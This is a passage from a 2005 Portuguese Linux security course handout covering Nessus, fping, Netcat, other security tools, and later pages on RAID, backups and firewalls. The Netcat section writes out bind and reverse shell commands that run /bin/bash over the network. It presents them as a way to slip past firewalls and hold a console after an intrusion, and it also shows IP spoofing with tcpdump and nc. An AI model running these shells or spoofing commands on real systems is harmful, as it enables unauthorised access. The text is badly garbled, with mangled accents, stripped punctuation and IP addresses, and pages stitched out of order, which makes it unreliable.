possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 19: Curso de segurança em linux e redes em geral

subsistema de discos riacutegidos que melhoram o desempenho e a toleracircncia a falhas uma vez que os dadossatildeo gravados em mais de um disco ao mesmo tempo Estas soluccedilotildees podem ser tanto implementadas emsoftware quanto em hardware Neste caso quando uma unidade de disco falha o administrador do sistemapode substitui-la em alguns casos sem parar o funcionamento do servidorOs principais tipos de RAID satildeo_ RAID 0 este niacutevel realiza um ldquojoinrdquo dos discos ou seja ele combina todos osdiscos em uma uacutenica unidade loacutegica uacutetil quando desejamos aumentar acapacidade de armazenamento de dados_ RAID 1 realiza o espelhamento de um disco em um outro nesta soluccedilatildeo umdos discos fica inativo apenas recebendo os dados do disco mestre ateacute que elefalhe Este niacutevel oferece uma boa toleracircncia a falhas visto que ao ocorrer afalha de um disco os usuaacuterios satildeo automaticamente redirecionados para oantigo disco escravo_ RAID 3 tambeacutem implementa um espelhamento soacute que neste caso trecircs ou maisunidades de disco satildeo espelhadas em uma outra este niacutevel tambeacutem fornecetoleracircncia a falhas uma vez que grava os bits de paridade em uma unidadededicada e permite que os discos trabalhem em paralelo fornecendo assim altoniacutevel de desempenho_ RAID 5 esta faz uso de trecircs unidades em duas satildeo armazenados os dados ena terceira os bits de paridade sendo esta eacute a soluccedilatildeo mais utilizada_ RAID 10 eacute a combinaccedilatildeo do RAID 1 e 0 ou seja espelhamento e intercalaccedilatildeoentre unidade de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 23 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A soluccedilatildeo de RAID fornece um melhor desempenho e toleracircncia a falhas mas de forma algumasubstituir o processo de backup off-line Vale lembrar que dois ou mais discos podem falhar ao mesmotempo perdendo o acesso total aos dados armazenados no arrayOutra soluccedilatildeo de proteccedilatildeo aos dados eacute o HSM (Hierarchical Storage Management) que eacute umsistema automatizado para o gerenciamento de dados e espaccedilo em disco muito utilizado em mainframesEsta soluccedilatildeo monitora a capacidade das unidades e move os dados para as miacutedias de armazenamentoproacuteximo ou offline mais lentasO HSM pode mover os dados segundo sua idade frequumlecircncia de uso ou baseado em outros criteacuteriospermitindo deste modo uma migraccedilatildeo de dados automaacutetica Esta soluccedilatildeo eacute relativamente cara e difiacutecil de

ser implementadaJaacute as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade dearmazenamento graccedilas ao uso de um canal de fibra (fiberchannel) permite uma conexatildeo de alta velocidadee implementa uma subrede de armazenamento com isto libera a rede de produccedilatildeo do peso do backup dedados e economiza largura de banda Aleacutem disto oferecem alta velocidade confiabilidade e gerenciamentocentralizadoPor outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidoresde arquivos visto que estatildeo conectados diretamente a rede ethernet e possuem sistemas operacionaisembutidos nos equipamentos Esta estrutura eacute uma alternativa a inclusatildeo de unidades de dados nosservidores Para garantir a seguranccedila dos dados estes equipamentos implementas um dos niacuteveis de RAIDestudados anteriormente mas backups de grades volumes de dados podem afetar a velocidade da redeEsta soluccedilatildeo eacute relativamente barata simples e possui grande compatibilidade entre fornecedores52 ) Tipos de backup quanto ao periacuteodo de execuccedilatildeo e volume de dadosDependendo de sua periodicidade o processo de backup pode ser nomeado como_ Backup Completo realiza uma coacutepia de todos os dados para a miacutedia natildeo importandoo conteuacutedo do uacuteltimo backup Este tipo de backup normalmente possui periodicidadesemanal_ Backup Incremental salva os arquivos que foram alterados desde o uacuteltimo backupNeste processo o novo arquivo eacute armazenado na miacutedia e o arquivo original natildeo eacuteremovido da miacutedia No processo de restauraccedilatildeo devemos ter o uacuteltimo backup completoe dos os backups incrementais desde entatildeo Este tipo de backup possui periodicidadeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 24 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005diaacuteria ou menor_ Backup Delta Soacute faz a coacutepia dos dados reais que foram modificados nos arquivos eacuteum processo de backup mais raacutepido e que ocupa menos espaccedilo nas miacutedias de backupcontudo o processo de restauraccedilatildeo eacute mais lento e complexo Tambeacutem possuiperiodicidade diaacuteria ou menor_ Backup Diferencial Copia todos os arquivos que foram alterados desde o uacuteltimo

backup completo por este motivo ocupa mais espaccedilo nas miacutedias de backup e maislento de ser gerado contudo eacute mais faacutecil de recupera-lo sua execuccedilatildeopreferencialmente deve ser diaacuteria ou em intervalo menor Para restaurar os dados apartir deste tipo de backup deve-se ter em matildeos apenas o uacuteltimo backup completo e ouacuteltimo backup diferencialProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 25 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20056) FirewallVaacuterias pesquisas mostraram que a ldquoInternetrdquo eacute o principal ponto utilizado para realizar invasotildees Em2002 segundo uma pesquisa feita pela moacutedulo 43 das empresas sofreram algum tipo de ataque ouinvasatildeo Em 2003 esta valor subiu para 77 E os hackers brasileiros satildeo internacional considerados comoos melhores do mundoOutro fator importante eacute que ldquo quanto mais tempo ficamos conectados agrave internet maiores satildeo aschances de sermos invadidos ou infectados por malwares rdquo Isto tudo pois o Ipv4 versatildeo atualmente emuso da pilha de protocolos TCPIP natildeo foi projetado para assegurar a integridade das informaccedilotildees e realizaro controle de acesso apropriado Deste modo a forma preferida de se violar uma rede tem sido o uso depequenas falhas na implementaccedilatildeo de serviccedilos e protocolos baseados no TCPIP61) O papel do Firewall no contexto atual das redes de computadoresA principal funccedilatildeo de um firewall eacute proteger os dados da rede interna aquela que natildeo estaacuteconectada a internet de ataques vindos da rede externa normalmente a internet Ou seja tem por objetivoimpedir acessos loacutegicos natildeo autorizados a um determinado ambienteNeste modelo o firewall geralmente eacute a uacutenica maacutequina diretamente conectada a rede externa mascada noacute da rede pode e deve ter seu proacuteprio firewall ativo mas neste caso sua funcionalidade estaacute restrita aproteccedilatildeo local incluindo possiacuteveis infecccedilotildees e proliferaccedilotildees de malwares na rede internaOutro uso frequumlente dos firewalls eacute ser utilizado para filtrar quem pode acessar maacutequinas da redeinterna a partir da internet este tipo de filtragem normalmente eacute baseada no 